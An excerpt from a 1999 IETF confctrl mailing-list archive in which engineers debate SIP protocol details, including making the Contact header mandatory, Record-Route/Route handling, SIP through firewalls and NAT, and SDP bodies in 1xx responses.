To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: John Hearty <John.H.Hearty@wcom.com>,
        "Donovan, Steven R." <Steven.R.Donovan@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: Record-Route and Route header clarification
References: <19990427140953.DYMN31190@localHost> <3725E113.5FA58CFE@hplb.hpl.hp.com> <372612A0.A12C7D03@dnrc.bell-labs.com> <372618EB.1D588E28@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders Kristensen wrote:
> 
> BTW there's still the problem John Hearty mentioned earlier that when a
> Route ends with the next-to-last proxy, i.e. doesn't include the final
> destination, the last proxy may add a Record-Route header which can
> confuse the receiving UA. This is solved by mandating the use of Contact
> headers, but could also be handled by requiring the last proxy on the
> Route path to retain an empty Route header in the forwarded message and
> requiring proxies receiving such a header to include it in the forwarded
> message thus preventing anyone from adding the Record-Route header.

This seems a bigger change, as its a modification to the existing
Route/Record-Route processing in a server. Making Contact mandatory is
not a fundamental change (no code change required in any servers), its
just a change in strength from SHOULD to MUST at the UA. Given that
making Contact mandatory seems to solve a number of problems, I believe
that it is the best solution.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Apr 28 01:12:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA03788
	for confctrl-outgoing; Wed, 28 Apr 1999 01:12:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA03782
	for <confctrl@zephyr.isi.edu>; Wed, 28 Apr 1999 01:12:03 -0700 (PDT)
Received: from angel.algonet.se (angel.algonet.se [194.213.74.112])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id BAA06679
	for <confctrl@ISI.EDU>; Wed, 28 Apr 1999 01:12:02 -0700 (PDT)
Received: (qmail 26586 invoked from network); 28 Apr 1999 10:01:23 +0200
Received: from sdu215-246.ppp.algonet.se (HELO felix.intertex.se) (195.163.246.215)
  by angel.algonet.se with SMTP; 28 Apr 1999 10:01:23 +0200
Message-ID: <3726C050.61498F14@intertex.se>
Date: Wed, 28 Apr 1999 10:01:22 +0200
From: Lars Berggren <lars.berggren@intertex.se>
X-Mailer: Mozilla 3.01 (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Anders Kristensen <ak@hplb.hpl.hp.com>,
        John Hearty <John.H.Hearty@wcom.com>,
        "Donovan, Steven R." <Steven.R.Donovan@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: SIP: mandatory Contact
References: <19990427140953.DYMN31190@localHost> <3725E113.5FA58CFE@hplb.hpl.hp.com> <372612A0.A12C7D03@dnrc.bell-labs.com> <372618EB.1D588E28@hplb.hpl.hp.com> <372669A6.E4562AB2@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> Anders Kristensen wrote:
> >
> > BTW there's still the problem John Hearty mentioned earlier that when a
> > Route ends with the next-to-last proxy, i.e. doesn't include the final
> > destination, the last proxy may add a Record-Route header which can
> > confuse the receiving UA. This is solved by mandating the use of Contact
> > headers, but could also be handled by requiring the last proxy on the
> > Route path to retain an empty Route header in the forwarded message and
> > requiring proxies receiving such a header to include it in the forwarded
> > message thus preventing anyone from adding the Record-Route header.
> 
> This seems a bigger change, as its a modification to the existing
> Route/Record-Route processing in a server. Making Contact mandatory is
> not a fundamental change (no code change required in any servers), its
> just a change in strength from SHOULD to MUST at the UA. Given that
> making Contact mandatory seems to solve a number of problems, I believe
> that it is the best solution.

Making Contact mandatory may solve the problem. However, I think in some
cases its not that easy for a UAC to supply a host-dependent Contact
header.

If the UAC responsible for supplying the Contact header resides behind a
firewall on a LAN with local IP addresses, what is the UAC supposed to
put in the Contact? The local hostname or IP address is not a good
choice since they are not globally reachable. It can put the same
host-independent SIP-URL as it probably will put in the From header, but
then the routing will be host-independent and the use of Contact has no
effect.

Also for reasons of privacy and security, one does not want to show
local IP addresses or hostnames to a party outside the firewall.

If some kind of firewall SIP-proxy for the UAC is present, it can add
itself to a Record-Route list and be the one responsible for making the
routing host-dependent.

For the moment, I can see 3 ways for the proxy to accomplish this.

1. It keeps state for the call leg and a record of where to route
subsequent requests within the call leg from it's global side to the
local side. If the UAC added a Contact with local information the proxy
can rewrite or remove it.

2. If it is possible (via extension or changes to spec) to encrypt and
hide the Contact similar to the hiding of Via fields, then the proxy
could do so and letting the UAC put local information in the Contact
header. This has the advantage that no state is required in the proxy
for routing the requests. The disadvantage here has to do with backward
compability.

3. Similar to #2 but the Contact could be hidden by removing it,
encrypting its SIP-URL in a way that does not destroy the syntax and
pushing it into the Record-Route list before pushing the entry of the
proxy. When subsequent Routed requests arrives at the proxy's 'global
side' it knows it must decrypt the first Route before forwarding it.
Other parties are not concerned with this encrypted entry since they are
not supposed to look at it. The disadvantage here is that the Contact
will not be visible in the request, opposing the suggestion of a
mandatory Contact. However, in this approach, the Contact can be made
mandatory in requests from UA:s, but not when some proxy have added a
Record-Route header.


Comments are welcome.

/Lars

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Wed Apr 28 06:14:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA12078
	for confctrl-outgoing; Wed, 28 Apr 1999 06:14:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA12073
	for <confctrl@zephyr.isi.edu>; Wed, 28 Apr 1999 06:14:06 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA15677
	for <confctrl@isi.edu>; Wed, 28 Apr 1999 06:14:05 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Wed Apr 28 09:12:34 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id JAA24031;
	Wed, 28 Apr 1999 09:12:27 -0400 (EDT)
Message-ID: <37270892.A8D31DA3@dnrc.bell-labs.com>
Date: Wed, 28 Apr 1999 09:09:38 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Lars Berggren <lars.berggren@intertex.se>
CC: Anders Kristensen <ak@hplb.hpl.hp.com>,
        John Hearty <John.H.Hearty@wcom.com>,
        "Donovan, Steven R." <Steven.R.Donovan@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP: mandatory Contact
References: <19990427140953.DYMN31190@localHost> <3725E113.5FA58CFE@hplb.hpl.hp.com> <372612A0.A12C7D03@dnrc.bell-labs.com> <372618EB.1D588E28@hplb.hpl.hp.com> <372669A6.E4562AB2@dnrc.bell-labs.com> <3726C050.61498F14@intertex.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Lars Berggren wrote:
> 
> If the UAC responsible for supplying the Contact header resides behind a
> firewall on a LAN with local IP addresses, what is the UAC supposed to
> put in the Contact? The local hostname or IP address is not a good
> choice since they are not globally reachable. It can put the same
> host-independent SIP-URL as it probably will put in the From header, but
> then the routing will be host-independent and the use of Contact has no
> effect.
>
> For the moment, I can see 3 ways for the proxy to accomplish this.
> 
> 1. It keeps state for the call leg and a record of where to route
> subsequent requests within the call leg from it's global side to the
> local side. If the UAC added a Contact with local information the proxy
> can rewrite or remove it.

This sounds like a sort of stateful SIP NAT.

> 
> 2. If it is possible (via extension or changes to spec) to encrypt and
> hide the Contact similar to the hiding of Via fields, then the proxy
> could do so and letting the UAC put local information in the Contact
> header. This has the advantage that no state is required in the proxy
> for routing the requests. The disadvantage here has to do with backward
> compability.
> 
> 3. Similar to #2 but the Contact could be hidden by removing it,
> encrypting its SIP-URL in a way that does not destroy the syntax and
> pushing it into the Record-Route list before pushing the entry of the
> proxy. When subsequent Routed requests arrives at the proxy's 'global
> side' it knows it must decrypt the first Route before forwarding it.
> Other parties are not concerned with this encrypted entry since they are
> not supposed to look at it. The disadvantage here is that the Contact
> will not be visible in the request, opposing the suggestion of a
> mandatory Contact. However, in this approach, the Contact can be made
> mandatory in requests from UA:s, but not when some proxy have added a
> Record-Route header.

This sounds like a stateless SIP NAT.

Solutions (1) and (3) seem acceptable to me; neither requires protocol
changes nor standardization. Note that not having a Contact header, as
in suggestion (3), may "oppose the suggestion" of a mandatory Contact,
but thats fine here since an intermediate proxy is still responsible for
"guaranteeing" that the full routed path is being followed. While having
Contact is mandatory in an INVITE from a UAC, I not sure having a UAS
return a 400 response if one is not present is a good idea.

If we do want UAS's to return 400 when no Contact is present, the proxy
in (3) could still keep the Contact, but rewrite it to be valid but of
signficance only to the NAT/proxy. It would also insert itself into the
Record-Route. This solution is a combination of your (3) and (2).

Its worth noting, however, that the Contact headers are just one of many
problems in these cases where you don't want to assume a globally
routable IP infrastructure. This SIP NAT will also have to rewrite the
SDP since the media addresses will be wrong. That seems a much bigger
pain....

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Apr 28 11:30:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA23438
	for confctrl-outgoing; Wed, 28 Apr 1999 11:30:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA23432
	for <confctrl@zephyr.isi.edu>; Wed, 28 Apr 1999 11:30:25 -0700 (PDT)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA05356
	for <confctrl@ISI.EDU>; Wed, 28 Apr 1999 11:30:24 -0700 (PDT)
Received: from omzexch007.mcit.com (omzexch007.mcit.com [166.37.194.38])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id SAA17337; Wed, 28 Apr 1999 18:30:06 GMT
Received: by omzexch007.mcit.com with Internet Mail Service (5.5.2571.0)
	id <JQCQZ5NF>; Wed, 28 Apr 1999 18:29:32 -0000
Message-ID: <93496446F5EDD211A8C100805FEAD749019113@nsrip00207.mcit.com>
From: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
To: Eric Tremblay <etremblay@mediatrix.com>, confctrl@ISI.EDU
Subject: RE: SDP in 1xx responses
Date: Wed, 28 Apr 1999 18:29:31 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2571.0)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE91A5.0ED41908"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE91A5.0ED41908
Content-Type: text/plain;
	charset="iso-8859-1"

There are a number of reasons why SDP, or other message bodies, need to be
carried in a 1xx message.  The spec should not limit the message bodies that
can be carried in any of the request or response messages.

Steve

-----Original Message-----
From: Eric Tremblay [mailto:etremblay@mediatrix.com]
Sent: Tuesday, April 27, 1999 2:01 PM
To: confctrl@ISI.EDU
Subject: SDP in 1xx responses



Taken from the notes on Henning's site
(http://www.cs.columbia.edu/~hgs/sip/notes.html)

//-----------
Message Bodies in INVITE and ACK
The caller MAY choose to omit the request body (i.e., not send a session
description) or send a session description that does not list any media
types. This indicates that the caller does not know its desired media
characteristics until the call has been accepted. In this case, the UAS
SHOULD still return a session description in its informational (1xx) or
success (2xx) response, containing those media streams and codecs it
supports. 

If the INVITE request did not contain a complete session description, the
caller MUST include one in the ACK request. A UAC MUSTNOT send an updated
session description in an ACK request if it had already sent a complete
session description in the INVITE request. If the UAC wishes to modify the
session after the call setup has begun, it MUST use another INVITE request
instead. 
//-------------

>From what I read above, a UAS can send back a session description in a 1xx
response, is this correct? If this is the case, section 8.1 in RFC2543
should maybe be updated, as it stated that 1xx responses can include a body
that contains advisory information about the progress of the request.

Thanks,

EricT


Eric Tremblay, ing. stag.
------------------------------
Mediatrix Telecom
email: etremblay@mediatrix.com
Tel: +1(819)829-8749 ext. 238
Web: www.mediatrix.com 

------_=_NextPart_001_01BE91A5.0ED41908
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2569.0">
<TITLE>RE: SDP in 1xx responses</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>There are a number of reasons why SDP, or other =
message bodies, need to be carried in a 1xx message.&nbsp; The spec =
should not limit the message bodies that can be carried in any of the =
request or response messages.</FONT></P>

<P><FONT SIZE=3D2>Steve</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Eric Tremblay [<A =
HREF=3D"mailto:etremblay@mediatrix.com">mailto:etremblay@mediatrix.com</=
A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Tuesday, April 27, 1999 2:01 PM</FONT>
<BR><FONT SIZE=3D2>To: confctrl@ISI.EDU</FONT>
<BR><FONT SIZE=3D2>Subject: SDP in 1xx responses</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>Taken from the notes on Henning's site</FONT>
<BR><FONT SIZE=3D2>(<A =
HREF=3D"http://www.cs.columbia.edu/~hgs/sip/notes.html" =
TARGET=3D"_blank">http://www.cs.columbia.edu/~hgs/sip/notes.html</A>)</F=
ONT>
</P>

<P><FONT SIZE=3D2>//-----------</FONT>
<BR><FONT SIZE=3D2>Message Bodies in INVITE and ACK</FONT>
<BR><FONT SIZE=3D2>The caller MAY choose to omit the request body =
(i.e., not send a session</FONT>
<BR><FONT SIZE=3D2>description) or send a session description that does =
not list any media</FONT>
<BR><FONT SIZE=3D2>types. This indicates that the caller does not know =
its desired media</FONT>
<BR><FONT SIZE=3D2>characteristics until the call has been accepted. In =
this case, the UAS</FONT>
<BR><FONT SIZE=3D2>SHOULD still return a session description in its =
informational (1xx) or</FONT>
<BR><FONT SIZE=3D2>success (2xx) response, containing those media =
streams and codecs it</FONT>
<BR><FONT SIZE=3D2>supports. </FONT>
</P>

<P><FONT SIZE=3D2>If the INVITE request did not contain a complete =
session description, the</FONT>
<BR><FONT SIZE=3D2>caller MUST include one in the ACK request. A UAC =
MUSTNOT send an updated</FONT>
<BR><FONT SIZE=3D2>session description in an ACK request if it had =
already sent a complete</FONT>
<BR><FONT SIZE=3D2>session description in the INVITE request. If the =
UAC wishes to modify the</FONT>
<BR><FONT SIZE=3D2>session after the call setup has begun, it MUST use =
another INVITE request</FONT>
<BR><FONT SIZE=3D2>instead. </FONT>
<BR><FONT SIZE=3D2>//-------------</FONT>
</P>

<P><FONT SIZE=3D2>From what I read above, a UAS can send back a session =
description in a 1xx</FONT>
<BR><FONT SIZE=3D2>response, is this correct? If this is the case, =
section 8.1 in RFC2543</FONT>
<BR><FONT SIZE=3D2>should maybe be updated, as it stated that 1xx =
responses can include a body</FONT>
<BR><FONT SIZE=3D2>that contains advisory information about the =
progress of the request.</FONT>
</P>

<P><FONT SIZE=3D2>Thanks,</FONT>
</P>

<P><FONT SIZE=3D2>EricT</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Eric Tremblay, ing. stag.</FONT>
<BR><FONT SIZE=3D2>------------------------------</FONT>
<BR><FONT SIZE=3D2>Mediatrix Telecom</FONT>
<BR><FONT SIZE=3D2>email: etremblay@mediatrix.com</FONT>
<BR><FONT SIZE=3D2>Tel: +1(819)829-8749 ext. 238</FONT>
<BR><FONT SIZE=3D2>Web: www.mediatrix.com </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BE91A5.0ED41908--

From confctrl-owner  Thu Apr 29 03:48:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA03221
	for confctrl-outgoing; Thu, 29 Apr 1999 03:48:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA03215
	for <confctrl@zephyr.isi.edu>; Thu, 29 Apr 1999 03:48:27 -0700 (PDT)
Received: from angel.algonet.se (angel.algonet.se [194.213.74.112])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id DAA27152
	for <confctrl@isi.edu>; Thu, 29 Apr 1999 03:48:25 -0700 (PDT)
Received: (qmail 18637 invoked from network); 29 Apr 1999 12:48:23 +0200
Received: from sdu145-246.ppp.algonet.se (HELO felix.intertex.se) (195.163.246.145)
  by angel.algonet.se with SMTP; 29 Apr 1999 12:48:23 +0200
Message-ID: <372838F8.304C8F13@intertex.se>
Date: Thu, 29 Apr 1999 12:48:24 +0200
From: Lars Berggren <lars.berggren@intertex.se>
X-Mailer: Mozilla 3.01 (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Anders Kristensen <ak@hplb.hpl.hp.com>,
        John Hearty <John.H.Hearty@wcom.com>,
        "Donovan, Steven R." <Steven.R.Donovan@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP: mandatory Contact
References: <19990427140953.DYMN31190@localHost> <3725E113.5FA58CFE@hplb.hpl.hp.com> <372612A0.A12C7D03@dnrc.bell-labs.com> <372618EB.1D588E28@hplb.hpl.hp.com> <372669A6.E4562AB2@dnrc.bell-labs.com> <3726C050.61498F14@intertex.se> <37270892.A8D31DA3@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> Solutions (1) and (3) seem acceptable to me; neither requires protocol
> changes nor standardization. Note that not having a Contact header, as
> in suggestion (3), may "oppose the suggestion" of a mandatory Contact,
> but thats fine here since an intermediate proxy is still responsible for
> "guaranteeing" that the full routed path is being followed. While having
> Contact is mandatory in an INVITE from a UAC, I not sure having a UAS
> return a 400 response if one is not present is a good idea.

I just thought 'making Contact mandatory' meant it had to be present in
INVITE requests leaving proxies too. If Contact is made mandatory I
think it should be clearly stated that a UAS should not expect it if
there is an intermediate proxy present.

> 
> If we do want UAS's to return 400 when no Contact is present, the proxy
> in (3) could still keep the Contact, but rewrite it to be valid but of
> signficance only to the NAT/proxy. It would also insert itself into the
> Record-Route. This solution is a combination of your (3) and (2).

It will insert itself into the Record-Route if the UAS supports it. If
it does not, I guess it may try to use the rewritten Contact for
subsequent requests, which is not the intention.

> Its worth noting, however, that the Contact headers are just one of many
> problems in these cases where you don't want to assume a globally
> routable IP infrastructure. This SIP NAT will also have to rewrite the
> SDP since the media addresses will be wrong. That seems a much bigger
> pain....

I agree, the media part is a harder problem to solve.

/Lars

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Fri Apr 30 07:21:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA29480
	for confctrl-outgoing; Fri, 30 Apr 1999 07:21:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA29475
	for <confctrl@zephyr.isi.edu>; Fri, 30 Apr 1999 07:21:33 -0700 (PDT)
Received: from omzrelay02.mcit.com (beta.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA09102
	for <confctrl@isi.edu>; Fri, 30 Apr 1999 07:21:32 -0700 (PDT)
Received: from omzrelay.mcit.com ([166.37.204.49])
 by firewall.mcit.com (PMDF V5.2-32 #37788)
 with ESMTP id <0FB000MSOABUVE@firewall.mcit.com> for confctrl@isi.edu; Fri,
 30 Apr 1999 14:16:42 +0000 (GMT)
Received: from omzexch007.mcit.com (omzexch007.mcit.com [166.37.194.38])
 by omzrelay.mcit.com (8.8.7/) with ESMTP	id OAA21530; Fri,
 30 Apr 1999 14:17:14 +0000 (GMT)
Received: by omzexch007.mcit.com with Internet Mail Service (5.5.2571.0)
	id <JQCQ6N6Z>; Fri, 30 Apr 1999 14:16:39 +0000
Content-return: allowed
Date: Fri, 30 Apr 1999 14:16:35 +0000
From: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
Subject: RE: SIP: mandatory Contact
To: Lars Berggren <lars.berggren@intertex.se>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Cc: Anders Kristensen <ak@hplb.hpl.hp.com>,
        "Hearty, John H." <John.H.Hearty@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Message-id: <93496446F5EDD211A8C100805FEAD74901911E@nsrip00207.mcit.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2571.0)
Content-type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE9314.0E64C38A"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE9314.0E64C38A
Content-Type: text/plain;
	charset="iso-8859-1"

What are we trying to solve here, making SIP work through NATs or making the
record-route/route mechanism work?

It seems to me that the former is outside the bounds of the SIP
specification and that the latter is absolutely necessary.

The handling of re-INVITES from the called UA is a specific case that argues
for making the contact mandatory in the initial INVITE message.  Proxy
servers that remain in the signaling path will need to be able to
differentiate between INVITEs and re-INVITES.  If the calling UA is not
included in the Route header, then SPS1 from my original flows will have no
way of knowing that a re-INVITE from B, the called user agent, is indeed a
re-INVITE.  If SPS1 thinks that it is a new INVITE, then it is likely to
query a location server to determine how to route the INVITE message.  There
is a chance that the INVITE will get correctly routed, but there is a
significant chance that it won't.

Making the Contact mandatory in the initial INVITE and as a result included
in the called user agents route header will fix this problem, as SPS1 can
use the presence of the route header as in indicator that this is no a new
INVITE.

Steve

-----Original Message-----
From: Lars Berggren [mailto:lars.berggren@intertex.se]
Sent: Thursday, April 29, 1999 5:48 AM
To: Jonathan Rosenberg
Cc: Anders Kristensen; Hearty, John H.; Donovan, Steven R.;
'confctrl@ISI.EDU'
Subject: Re: SIP: mandatory Contact


Jonathan Rosenberg wrote:
> 
> Solutions (1) and (3) seem acceptable to me; neither requires protocol
> changes nor standardization. Note that not having a Contact header, as
> in suggestion (3), may "oppose the suggestion" of a mandatory Contact,
> but thats fine here since an intermediate proxy is still responsible for
> "guaranteeing" that the full routed path is being followed. While having
> Contact is mandatory in an INVITE from a UAC, I not sure having a UAS
> return a 400 response if one is not present is a good idea.

I just thought 'making Contact mandatory' meant it had to be present in
INVITE requests leaving proxies too. If Contact is made mandatory I
think it should be clearly stated that a UAS should not expect it if
there is an intermediate proxy present.

> 
> If we do want UAS's to return 400 when no Contact is present, the proxy
> in (3) could still keep the Contact, but rewrite it to be valid but of
> signficance only to the NAT/proxy. It would also insert itself into the
> Record-Route. This solution is a combination of your (3) and (2).

It will insert itself into the Record-Route if the UAS supports it. If
it does not, I guess it may try to use the rewritten Contact for
subsequent requests, which is not the intention.

> Its worth noting, however, that the Contact headers are just one of many
> problems in these cases where you don't want to assume a globally
> routable IP infrastructure. This SIP NAT will also have to rewrite the
> SDP since the media addresses will be wrong. That seems a much bigger
> pain....

I agree, the media part is a harder problem to solve.

/Lars

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

------_=_NextPart_001_01BE9314.0E64C38A
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2569.0">
<TITLE>RE: SIP: mandatory Contact</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>What are we trying to solve here, making SIP work =
through NATs or making the record-route/route mechanism work?</FONT>
</P>

<P><FONT SIZE=3D2>It seems to me that the former is outside the bounds =
of the SIP specification and that the latter is absolutely =
necessary.</FONT></P>

<P><FONT SIZE=3D2>The handling of re-INVITES from the called UA is a =
specific case that argues for making the contact mandatory in the =
initial INVITE message.&nbsp; Proxy servers that remain in the =
signaling path will need to be able to differentiate between INVITEs =
and re-INVITES.&nbsp; If the calling UA is not included in the Route =
header, then SPS1 from my original flows will have no way of knowing =
that a re-INVITE from B, the called user agent, is indeed a =
re-INVITE.&nbsp; If SPS1 thinks that it is a new INVITE, then it is =
likely to query a location server to determine how to route the INVITE =
message.&nbsp; There is a chance that the INVITE will get correctly =
routed, but there is a significant chance that it won't.</FONT></P>

<P><FONT SIZE=3D2>Making the Contact mandatory in the initial INVITE =
and as a result included in the called user agents route header will =
fix this problem, as SPS1 can use the presence of the route header as =
in indicator that this is no a new INVITE.</FONT></P>

<P><FONT SIZE=3D2>Steve</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Lars Berggren [<A =
HREF=3D"mailto:lars.berggren@intertex.se">mailto:lars.berggren@intertex.=
se</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Thursday, April 29, 1999 5:48 AM</FONT>
<BR><FONT SIZE=3D2>To: Jonathan Rosenberg</FONT>
<BR><FONT SIZE=3D2>Cc: Anders Kristensen; Hearty, John H.; Donovan, =
Steven R.;</FONT>
<BR><FONT SIZE=3D2>'confctrl@ISI.EDU'</FONT>
<BR><FONT SIZE=3D2>Subject: Re: SIP: mandatory Contact</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Jonathan Rosenberg wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Solutions (1) and (3) seem acceptable to me; =
neither requires protocol</FONT>
<BR><FONT SIZE=3D2>&gt; changes nor standardization. Note that not =
having a Contact header, as</FONT>
<BR><FONT SIZE=3D2>&gt; in suggestion (3), may &quot;oppose the =
suggestion&quot; of a mandatory Contact,</FONT>
<BR><FONT SIZE=3D2>&gt; but thats fine here since an intermediate proxy =
is still responsible for</FONT>
<BR><FONT SIZE=3D2>&gt; &quot;guaranteeing&quot; that the full routed =
path is being followed. While having</FONT>
<BR><FONT SIZE=3D2>&gt; Contact is mandatory in an INVITE from a UAC, I =
not sure having a UAS</FONT>
<BR><FONT SIZE=3D2>&gt; return a 400 response if one is not present is =
a good idea.</FONT>
</P>

<P><FONT SIZE=3D2>I just thought 'making Contact mandatory' meant it =
had to be present in</FONT>
<BR><FONT SIZE=3D2>INVITE requests leaving proxies too. If Contact is =
made mandatory I</FONT>
<BR><FONT SIZE=3D2>think it should be clearly stated that a UAS should =
not expect it if</FONT>
<BR><FONT SIZE=3D2>there is an intermediate proxy present.</FONT>
</P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; If we do want UAS's to return 400 when no =
Contact is present, the proxy</FONT>
<BR><FONT SIZE=3D2>&gt; in (3) could still keep the Contact, but =
rewrite it to be valid but of</FONT>
<BR><FONT SIZE=3D2>&gt; signficance only to the NAT/proxy. It would =
also insert itself into the</FONT>
<BR><FONT SIZE=3D2>&gt; Record-Route. This solution is a combination of =
your (3) and (2).</FONT>
</P>

<P><FONT SIZE=3D2>It will insert itself into the Record-Route if the =
UAS supports it. If</FONT>
<BR><FONT SIZE=3D2>it does not, I guess it may try to use the rewritten =
Contact for</FONT>
<BR><FONT SIZE=3D2>subsequent requests, which is not the =
intention.</FONT>
</P>

<P><FONT SIZE=3D2>&gt; Its worth noting, however, that the Contact =
headers are just one of many</FONT>
<BR><FONT SIZE=3D2>&gt; problems in these cases where you don't want to =
assume a globally</FONT>
<BR><FONT SIZE=3D2>&gt; routable IP infrastructure. This SIP NAT will =
also have to rewrite the</FONT>
<BR><FONT SIZE=3D2>&gt; SDP since the media addresses will be wrong. =
That seems a much bigger</FONT>
<BR><FONT SIZE=3D2>&gt; pain....</FONT>
</P>

<P><FONT SIZE=3D2>I agree, the media part is a harder problem to =
solve.</FONT>
</P>

